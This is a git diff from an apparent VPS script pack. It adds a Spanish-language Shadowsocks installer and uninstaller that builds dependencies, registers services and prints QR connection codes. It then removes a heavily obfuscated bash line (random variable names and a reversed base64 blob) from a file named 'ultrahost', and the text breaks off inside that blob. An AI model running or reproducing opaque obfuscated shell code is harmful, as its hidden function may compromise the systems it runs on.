+install_prepare_protocol(){
+while true
+do
+echo -e "Escoge un protocolo ${software[${selected}-1]}:"
+for ((i=1;i<=${#protocols[@]};i++ )); do
+hint="${protocols[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Protocolo(Default: ${protocols[0]}):" protocol
+[ -z "$protocol" ] && protocol=1
+expr ${protocol} + 1 &>/dev/null
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero"
+continue
+fi
+if [[ "$protocol" -lt 1 || "$protocol" -gt ${#protocols[@]} ]]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#protocols[@]}"
+continue
+fi
+shadowsockprotocol=${protocols[$protocol-1]}
+echo
+echo "protocol = ${shadowsockprotocol}"
+echo
+break
+done
+}
+install_prepare_obfs(){
+while true
+do
+echo -e "Please select obfs for ${software[${selected}-1]}:"
+for ((i=1;i<=${#obfs[@]};i++ )); do
+hint="${obfs[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Obfs(Default: ${obfs[0]}):" r_obfs
+[ -z "$r_obfs" ] && r_obfs=1
+expr ${r_obfs} + 1 &>/dev/null
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero"
+continue
+fi
+if [[ "$r_obfs" -lt 1 || "$r_obfs" -gt ${#obfs[@]} ]]; then
+echo -e "[${red}Error${plain}] Por favor escoge un numero entre 1 y ${#obfs[@]}"
+continue
+fi
+shadowsockobfs=${obfs[$r_obfs-1]}
+echo
+echo "obfs = ${shadowsockobfs}"
+echo
+break
+done
+}
+install_prepare_libev_obfs(){
+if autoconf_version || centosversion 6; then
+while true
+do
+echo -e "Quieres instalar simple-obfs para ${software[${selected}-1]}? [y/n]"
+read -p "(default: n):" libev_obfs
+[ -z "$libev_obfs" ] && libev_obfs=n
+case "${libev_obfs}" in
+y|Y|n|N)
+echo
+echo "Escogiste = ${libev_obfs}"
+echo
+break
+;;
+*)
+echo -e "[${red}Error${plain}] Por favor solo escribe [y/n]"
+;;
+esac
+done
+if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+while true
+do
+echo -e "Por favor selecciona el simple-obfs:"
+for ((i=1;i<=${#obfs_libev[@]};i++ )); do
+hint="${obfs_libev[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Obfs(Default: ${obfs_libev[0]}):" r_libev_obfs
+[ -z "$r_libev_obfs" ] && r_libev_obfs=1
+expr ${r_libev_obfs} + 1 &>/dev/null
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero"
+continue
+fi
+if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then
+echo -e "[${red}Error${plain}] Por favor escribe un numero entre 1 y ${#obfs_libev[@]}"
+continue
+fi
+shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]}
+echo
+echo "obfs = ${shadowsocklibev_obfs}"
+echo
+break
+done
+fi
+else
+echo -e "[${green}Info${plain}] autoconf version is less than 2.67, simple-obfs for ${software[${selected}-1]} installation has been skipped"
+fi
+}
+install_prepare(){
+if [[ "${selected}" == "1" || "${selected}" == "3" || "${selected}" == "4" ]]; then
+install_prepare_password
+install_prepare_port
+install_prepare_cipher
+if [ "${selected}" == "4" ]; then
+install_prepare_libev_obfs
+fi
+elif [ "${selected}" == "2" ]; then
+install_prepare_password
+install_prepare_port
+install_prepare_cipher
+install_prepare_protocol
+install_prepare_obfs
+fi
+echo
+echo "Presiona cualquier tecla para continuar...o Presiona Ctrl+C para cancelar"
+char=`get_char`
+}
+install_libsodium(){
+if [ ! -f /usr/lib/libsodium.a ]; then
+cd ${cur_dir}
+download "${libsodium_file}.tar.gz" "${libsodium_url}"
+tar zxf ${libsodium_file}.tar.gz
+cd ${libsodium_file}
+./configure --prefix=/usr && make && make install
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] ${libsodium_file} install failed."
+install_cleanup
+exit 1
+fi
+else
+echo -e "[${green}Info${plain}] ${libsodium_file} already installed."
+fi
+}
+install_mbedtls(){
+if [ ! -f /usr/lib/libmbedtls.a ]; then
+cd ${cur_dir}
+download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}"
+tar xf ${mbedtls_file}-gpl.tgz
+cd ${mbedtls_file}
+make SHARED=1 CFLAGS=-fPIC
+make DESTDIR=/usr install
+if [ $? -ne 0 ]; then
+echo -e "[${red}Error${plain}] ${mbedtls_file} install failed."
+install_cleanup
+exit 1
+fi
+else
+echo -e "[${green}Info${plain}] ${mbedtls_file} already installed."
+fi
+}
+install_shadowsocks_python(){
+cd ${cur_dir}
+unzip -q ${shadowsocks_python_file}.zip
+if [ $? -ne 0 ];then
+echo -e "[${red}Error${plain}] unzip ${shadowsocks_python_file}.zip failed, please check unzip command."
+install_cleanup
+exit 1
+fi
+cd ${shadowsocks_python_file}
+python setup.py install --record /usr/local/shadowsocks_python.log
+if [ -f /usr/bin/ssserver ] || [ -f /usr/local/bin/ssserver ]; then
+chmod +x ${shadowsocks_python_init}
+local service_name=$(basename ${shadowsocks_python_init})
+if check_sys packageManager yum; then
+chkconfig --add ${service_name}
+chkconfig ${service_name} on
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} defaults
+fi
+else
+echo
+echo -e "[${red}Error${plain}] ${software[0]} install failed."
+install_cleanup
+exit 1
+fi
+}
+install_shadowsocks_r(){
+cd ${cur_dir}
+tar zxf ${shadowsocks_r_file}.tar.gz
+mv ${shadowsocks_r_file}/shadowsocks /usr/local/
+if [ -f /usr/local/shadowsocks/server.py ]; then
+chmod +x ${shadowsocks_r_init}
+local service_name=$(basename ${shadowsocks_r_init})
+if check_sys packageManager yum; then
+chkconfig --add ${service_name}
+chkconfig ${service_name} on
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} defaults
+fi
+else
+echo
+echo -e "[${red}Error${plain}] ${software[1]} install failed."
+install_cleanup
+exit 1
+fi
+}
+install_shadowsocks_go(){
+cd ${cur_dir}
+if is_64bit; then
+gzip -d ${shadowsocks_go_file_64}.gz
+if [ $? -ne 0 ];then
+echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_64}.gz failed."
+install_cleanup
+exit 1
+fi
+mv -f ${shadowsocks_go_file_64} /usr/bin/shadowsocks-server
+else
+gzip -d ${shadowsocks_go_file_32}.gz
+if [ $? -ne 0 ];then
+echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_32}.gz failed."
+install_cleanup
+exit 1
+fi
+mv -f ${shadowsocks_go_file_32} /usr/bin/shadowsocks-server
+fi
+if [ -f /usr/bin/shadowsocks-server ]; then
+chmod +x /usr/bin/shadowsocks-server
+chmod +x ${shadowsocks_go_init}
+local service_name=$(basename ${shadowsocks_go_init})
+if check_sys packageManager yum; then
+chkconfig --add ${service_name}
+chkconfig ${service_name} on
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} defaults
+fi
+else
+echo
+echo -e "[${red}Error${plain}] ${software[2]} install failed."
+install_cleanup
+exit 1
+fi
+}
+install_shadowsocks_libev(){
+cd ${cur_dir}
+tar zxf ${shadowsocks_libev_file}.tar.gz
+cd ${shadowsocks_libev_file}
+./configure --disable-documentation && make && make install
+if [ $? -eq 0 ]; then
+chmod +x ${shadowsocks_libev_init}
+local service_name=$(basename ${shadowsocks_libev_init})
+if check_sys packageManager yum; then
+chkconfig --add ${service_name}
+chkconfig ${service_name} on
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} defaults
+fi
+else
+echo
+echo -e "[${red}Error${plain}] ${software[3]} install failed."
+install_cleanup
+exit 1
+fi
+}
+install_shadowsocks_libev_obfs(){
+if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then
+cd ${cur_dir}
+git clone https://github.com/shadowsocks/simple-obfs.git
+[ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Failed to git clone simple-obfs."
+git submodule update --init --recursive
+if centosversion 6; then
+if [ ! "$(command -v autoconf268)" ]; then
+echo -e "[${green}Info${plain}] Starting install autoconf268..."
+yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf268."
+fi
+sed -i 's/autoreconf/autoreconf268/' autogen.sh
+sed -i 's@^#include @#include @' src/local.h
+sed -i 's@^#include @#include @' src/server.h
+fi
+./autogen.sh
+./configure --disable-documentation
+make
+make install
+if [ ! "$(command -v obfs-server)" ]; then
+echo -e "[${red}Error${plain}] simple-obfs for ${software[${selected}-1]} install failed."
+install_cleanup
+exit 1
+fi
+[ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin
+fi
+}
+install_completed_python(){
+clear
+${shadowsocks_python_init} start
+echo
+echo -e "Felicidades, ${green}${software[0]}${plain} server install completed!"
+echo -e "IP : ${red} $(get_ip) ${plain}"
+echo -e "Port : ${red} ${shadowsocksport} ${plain}"
+echo -e "Password : ${red} ${shadowsockspwd} ${plain}"
+echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}"
+}
+install_completed_r(){
+clear
+${shadowsocks_r_init} start
+echo
+echo -e "Felicidades, ${green}${software[1]}${plain} server install completed!"
+echo -e "IP : ${red} $(get_ip) ${plain}"
+echo -e "Port : ${red} ${shadowsocksport} ${plain}"
+echo -e "Password : ${red} ${shadowsockspwd} ${plain}"
+echo -e "Protocol : ${red} ${shadowsockprotocol} ${plain}"
+echo -e "Obfs : ${red} ${shadowsockobfs} ${plain}"
+echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}"
+}
+install_completed_go(){
+clear
+${shadowsocks_go_init} start
+echo
+echo -e "Felicidades, ${green}${software[2]}${plain} server install completed!"
+echo -e "IP : ${red} $(get_ip) ${plain}"
+echo -e "Port : ${red} ${shadowsocksport} ${plain}"
+echo -e "Password : ${red} ${shadowsockspwd} ${plain}"
+echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}"
+}
+install_completed_libev(){
+clear
+ldconfig
+${shadowsocks_libev_init} start
+echo
+echo -e "Felicidades, ${green}${software[3]}${plain} instalacion completada!"
+echo -e "IP : ${red} $(get_ip) ${plain}"
+echo -e "Port : ${red} ${shadowsocksport} ${plain}"
+echo -e "Password : ${red} ${shadowsockspwd} ${plain}"
+if [ "$(command -v obfs-server)" ]; then
+echo -e "Obfs : ${red} ${shadowsocklibev_obfs} ${plain}"
+fi
+echo -e "Metodo de Encriptacion: ${red} ${shadowsockscipher} ${plain}"
+}
+qr_generate_python(){
+if [ "$(command -v qrencode)" ]; then
+local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+local qr_code="ss://${tmp}"
+echo
+echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)"
+echo -e "${green} ${qr_code} ${plain}"
+echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_python_qr.png
+echo "Tu codigo QR fue guardado en la siguiente direccion:"
+echo -e "${green} ${cur_dir}/shadowsocks_python_qr.png ${plain}"
+fi
+}
+qr_generate_r(){
+if [ "$(command -v qrencode)" ]; then
+local tmp1=$(echo -n "${shadowsockspwd}" | base64 -w0 | sed 's/=//g;s/\//_/g;s/+/-/g')
+local tmp2=$(echo -n "$(get_ip):${shadowsocksport}:${shadowsockprotocol}:${shadowsockscipher}:${shadowsockobfs}:${tmp1}/?obfsparam=" | base64 -w0)
+local qr_code="ssr://${tmp2}"
+echo
+echo "Codigo QR: (Para ShadowsocksR Windows, Android)"
+echo -e "${green} ${qr_code} ${plain}"
+echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_r_qr.png
+echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:"
+echo -e "${green} ${cur_dir}/shadowsocks_r_qr.png ${plain}"
+fi
+}
+qr_generate_go(){
+if [ "$(command -v qrencode)" ]; then
+local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+local qr_code="ss://${tmp}"
+echo
+echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)"
+echo -e "${green} ${qr_code} ${plain}"
+echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_go_qr.png
+echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:"
+echo -e "${green} ${cur_dir}/shadowsocks_go_qr.png ${plain}"
+fi
+}
+qr_generate_libev(){
+if [ "$(command -v qrencode)" ]; then
+local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0)
+local qr_code="ss://${tmp}"
+echo
+echo "Codigo QR: (Para Shadowsocks Windows, OSX, Android y iOS)"
+echo -e "${green} ${qr_code} ${plain}"
+echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_libev_qr.png
+echo "Tu codigo QR fue guardado en la siguiente direccion como PNG:"
+echo -e "${green} ${cur_dir}/shadowsocks_libev_qr.png ${plain}"
+fi
+}
+install_main(){
+install_libsodium
+if ! ldconfig -p | grep -wq "/usr/lib"; then
+echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf
+fi
+ldconfig
+if [ "${selected}" == "1" ]; then
+install_shadowsocks_python
+install_completed_python
+qr_generate_python
+elif [ "${selected}" == "2" ]; then
+install_shadowsocks_r
+install_completed_r
+qr_generate_r
+elif [ "${selected}" == "3" ]; then
+install_shadowsocks_go
+install_completed_go
+qr_generate_go
+elif [ "${selected}" == "4" ]; then
+install_mbedtls
+install_shadowsocks_libev
+install_shadowsocks_libev_obfs
+install_completed_libev
+qr_generate_libev
+fi
+echo
+echo "ChumoGH - Shadowsocks"
+echo "t.me/ChumoGH"
+echo
+}
+install_cleanup(){
+cd ${cur_dir}
+rm -rf simple-obfs
+rm -rf ${libsodium_file} ${libsodium_file}.tar.gz
+rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz
+rm -rf ${shadowsocks_python_file} ${shadowsocks_python_file}.zip
+rm -rf ${shadowsocks_r_file} ${shadowsocks_r_file}.tar.gz
+rm -rf ${shadowsocks_go_file_64}.gz ${shadowsocks_go_file_32}.gz
+rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz
+}
+install_shadowsocks(){
+disable_selinux
+install_select
+install_prepare
+install_dependencies
+download_files
+config_shadowsocks
+if check_sys packageManager yum; then
+config_firewall
+fi
+install_main
+install_cleanup
+}
+uninstall_shadowsocks_python(){
+printf "Estas seguro que quieres desinstalar ${red}${software[0]}${plain}? [y/n]\n"
+read -p "(default: n):" answer
+[ -z ${answer} ] && answer="n"
+if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+${shadowsocks_python_init} status > /dev/null 2>&1
+if [ $? -eq 0 ]; then
+${shadowsocks_python_init} stop
+fi
+local service_name=$(basename ${shadowsocks_python_init})
+if check_sys packageManager yum; then
+chkconfig --del ${service_name}
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} remove
+fi
+rm -fr $(dirname ${shadowsocks_python_config})
+rm -f ${shadowsocks_python_init}
+rm -f /var/log/shadowsocks.log
+if [ -f /usr/local/shadowsocks_python.log ]; then
+cat /usr/local/shadowsocks_python.log | xargs rm -rf
+rm -f /usr/local/shadowsocks_python.log
+fi
+echo -e "[${green}Info${plain}] ${software[0]} desinstalacion exitosa"
+else
+echo
+echo -e "[${green}Info${plain}] ${software[0]} desinstalacion cancelada..."
+echo
+fi
+}
+uninstall_shadowsocks_r(){
+printf "Estas seguro que quieres desinstalar ${red}${software[1]}${plain}? [y/n]\n"
+read -p "(default: n):" answer
+[ -z ${answer} ] && answer="n"
+if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+${shadowsocks_r_init} status > /dev/null 2>&1
+if [ $? -eq 0 ]; then
+${shadowsocks_r_init} stop
+fi
+local service_name=$(basename ${shadowsocks_r_init})
+if check_sys packageManager yum; then
+chkconfig --del ${service_name}
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} remove
+fi
+rm -fr $(dirname ${shadowsocks_r_config})
+rm -f ${shadowsocks_r_init}
+rm -f /var/log/shadowsocks.log
+rm -fr /usr/local/shadowsocks
+echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion exitosa"
+else
+echo
+echo -e "[${green}Info${plain}] ${software[1]} Desinstalacion cancelada..."
+echo
+fi
+}
+uninstall_shadowsocks_go(){
+printf "Estas seguro que quieres desinstalar ${red}${software[2]}${plain}? [y/n]\n"
+read -p "(default: n):" answer
+[ -z ${answer} ] && answer="n"
+if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+${shadowsocks_go_init} status > /dev/null 2>&1
+if [ $? -eq 0 ]; then
+${shadowsocks_go_init} stop
+fi
+local service_name=$(basename ${shadowsocks_go_init})
+if check_sys packageManager yum; then
+chkconfig --del ${service_name}
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} remove
+fi
+rm -fr $(dirname ${shadowsocks_go_config})
+rm -f ${shadowsocks_go_init}
+rm -f /usr/bin/shadowsocks-server
+echo -e "[${green}Info${plain}] ${software[2]} desinstalacion exitosa"
+else
+echo
+echo -e "[${green}Info${plain}] ${software[2]} desinstalacion cancelada..."
+echo
+fi
+}
+uninstall_shadowsocks_libev(){
+printf "Estas seguro que quieres desinstalar ${red}${software[3]}${plain}? [y/n]\n"
+read -p "(default: n):" answer
+[ -z ${answer} ] && answer="n"
+if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then
+${shadowsocks_libev_init} status > /dev/null 2>&1
+if [ $? -eq 0 ]; then
+${shadowsocks_libev_init} stop
+fi
+local service_name=$(basename ${shadowsocks_libev_init})
+if check_sys packageManager yum; then
+chkconfig --del ${service_name}
+elif check_sys packageManager apt; then
+update-rc.d -f ${service_name} remove
+fi
+rm -fr $(dirname ${shadowsocks_libev_config})
+rm -f /usr/local/bin/ss-local
+rm -f /usr/local/bin/ss-tunnel
+rm -f /usr/local/bin/ss-server
+rm -f /usr/local/bin/ss-manager
+rm -f /usr/local/bin/ss-redir
+rm -f /usr/local/bin/ss-nat
+rm -f /usr/local/bin/obfs-local
+rm -f /usr/local/bin/obfs-server
+rm -f /usr/local/lib/libshadowsocks-libev.a
+rm -f /usr/local/lib/libshadowsocks-libev.la
+rm -f /usr/local/include/shadowsocks.h
+rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc
+rm -f /usr/local/share/man/man1/ss-local.1
+rm -f /usr/local/share/man/man1/ss-tunnel.1
+rm -f /usr/local/share/man/man1/ss-server.1
+rm -f /usr/local/share/man/man1/ss-manager.1
+rm -f /usr/local/share/man/man1/ss-redir.1
+rm -f /usr/local/share/man/man1/ss-nat.1
+rm -f /usr/local/share/man/man8/shadowsocks-libev.8
+rm -fr /usr/local/share/doc/shadowsocks-libev
+rm -f ${shadowsocks_libev_init}
+echo -e "[${green}Info${plain}] ${software[3]} desinstalacion exitosa"
+else
+echo
+echo -e "[${green}Info${plain}] ${software[3]} desinstalacion cancelada..."
+echo
+fi
+}
+uninstall_shadowsocks(){
+while true
+do
+echo "Cual servidor Shadowsocks quieres desinstalar?"
+for ((i=1;i<=${#software[@]};i++ )); do
+hint="${software[$i-1]}"
+echo -e "${green}${i}${plain}) ${hint}"
+done
+read -p "Escoge un numero [1-4]:" un_select
+case "${un_select}" in
+1|2|3|4)
+echo
+echo "Escogiste = ${software[${un_select}-1]}"
+echo
+break
+;;
+*)
+echo -e "[${red}Error${plain}] escoge un numero [1-4]"
+;;
+esac
+done
+if [ "${un_select}" == "1" ]; then
+if [ -f ${shadowsocks_python_init} ]; then
+uninstall_shadowsocks_python
+else
+echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo."
+echo
+exit 1
+fi
+elif [ "${un_select}" == "2" ]; then
+if [ -f ${shadowsocks_r_init} ]; then
+uninstall_shadowsocks_r
+else
+echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo."
+echo
+exit 1
+fi
+elif [ "${un_select}" == "3" ]; then
+if [ -f ${shadowsocks_go_init} ]; then
+uninstall_shadowsocks_go
+else
+echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo."
+echo
+exit 1
+fi
+elif [ "${un_select}" == "4" ]; then
+if [ -f ${shadowsocks_libev_init} ]; then
+uninstall_shadowsocks_libev
+else
+echo -e "[${red}Error${plain}] ${software[${un_select}-1]} no instalado, por favor verifica e intenta de nuevo."
+echo
+exit 1
+fi
+fi
+}
+action=$1
+[ -z $1 ] && action=install
+case "${action}" in
+install|uninstall)
+${action}_shadowsocks
+;;
+*)
+echo "Arguments error! [${action}]"
+echo "Usage: $(basename $0) [install|uninstall]"
+;;
+esac
diff --git a/Lista/ultrahost b/Lista/ultrahost
index 9d6b728..b928137 100755
--- a/Lista/ultrahost
+++ b/Lista/ultrahost
@@ -1,2 +1,81 @@
#!/bin/bash
-kgzmQIFofizfejlqlAFfOAygyzWEyzECzKkUQJiKznuOOuNtvTueZnsvUWfcKQGTnhSDVFoXhLVEXapfberJBugDjBhlOklZdrKZ="dPrJpgbayTZaVpGGOlwkecQjaWsNcMOlTyhvDiXHcceMTpcjdaImokSxsNvGFIINEVJRdyMfIfAMvMpJoBZTNftpvCleDKsYaiLr";caDFxMndetUPRPDDJpgswUobKRFMtWTIuuUJOJnwquaOFhZfTjklvzMqiVlVRDiRwsUIjfcClDfvRMjxsljkYuvszAAibpTZmPAI="JsDJSXrXyNkmQOUVLzGgXQHmfPrIxgIlWqLqWAoSZINtJkssVqYpqSlvnOpYWBocWSLdVigSSdpicIGHdDGDetuvUVydjJgommXe";fBFaTHZDUPGRvGBwTltLWZZGcFyxCmImZGkRIqzDgcdPuvcDBPitcvZKGINhIFcwpdNbnMXTUBZVoUoPIMKlZBZZDKzuEWYokpCT="ch";dvSvIrqCzjYFfZlGbkHVyzNBbMHFhIEmGztCFHrlcrfUKHEcymPtgtQttWdANvzIuAIhKUEWnvYycGirWQXLQCoeQsPHWOeaEyis="4";lROyAPpHRHSlWDScyBTswYsDeKWCAdnruYzJzomIBloySIxnDogluxCIVGtnLrzZWrwbIeFSzQbsaHHxFPUInjVbcsTFNkbTFpLf="";emZwlStMkiXxYzohWegamPGmguHoaMzKcWlVTovenXnOIAvhMPtSnAsDUQWAqMcWsMYGJPwCVAPhZKfyiJFLDUVZTooCXSxBNtUK="DwnsQIGUaXMkfoobeXQYctXYCCsBJFfRcymEbJTOPTfFPPsNAVpMvoLHQFjgtzzktEtNpCdqeMIKTQQgjYIOqJUOEzebYdEUineK";yJhcRmIhiTJfuWZxFsRYwQrBgNEyDaNStGadFlJOnfTCznMvwAXZpPidLtNZUrGRDxuWnYZHkkUjPvCOuYCmnHvODKzbosdGxCGY=" ==gCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKYiJgISbws1MzADX0xWdzVmciV3cvUUTPhEJgoDIuVGIvRWYyVmbldEIvJHdzl2ZlJVbyMzOxs1MzADXiASZtAyboNWZKYiJg0VXgICMiASPg8DJgs1WKIDJgEDJgIXYpNWaulmCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKISKOF0QThCIT9EVOVUTJRURD9kUQByTE5UQalETBl0QJ5USg02MzsTMbNzMwwlIgUWLg8GajVmCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZKQFUJJ1QTBSQJNUSOl0IKoQfKADIuJXd0VmcK0HIgAiCi0GMbNzMwwVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZgACIK0DI21CIwVmcnxHdsV3clJnY1N3LF10TIRCI0F2YgACIKISbyMzOxs1MzADXiASZu1CIvh2YlBCIgowegYiJg0VXgkSW8lHfTx3coAEI9Aib5RCIbtFIgAiCulHIkFWZyByOiAiOd50LTtFI/M3bkFGdsV3clJFIz9GbgIXatlmcw1WSgEWZzVGRiASZu1CIvh2YlpgItBzWzMDMc1TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90WMzsTMbNzMwwlbcN3bkFmc1RHchNEIzR3cvhEIUx0USRSbyMzOxs1MzADXuxVP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TP90TbxMzOxs1MzADXiASZtAyboNWZgYiJgkSK08SKs1CIjdHf0xWdzVmciV3cvUUTPhEJgQXYjhCJogCJ9QFTTJlCl52bkpwahVmciBiJmASXdBiIxICI0xWLgkydtAyY3xHc1t2bvx2cuBiZvRWawhCJgs1WK8GZgsTZ1JHdgUGbph2dKUmbvRmCmASKKAVSgQXZz5WdKQHb1NXZyJWdz9SRN9ESkAiP+AiI90TP90TP90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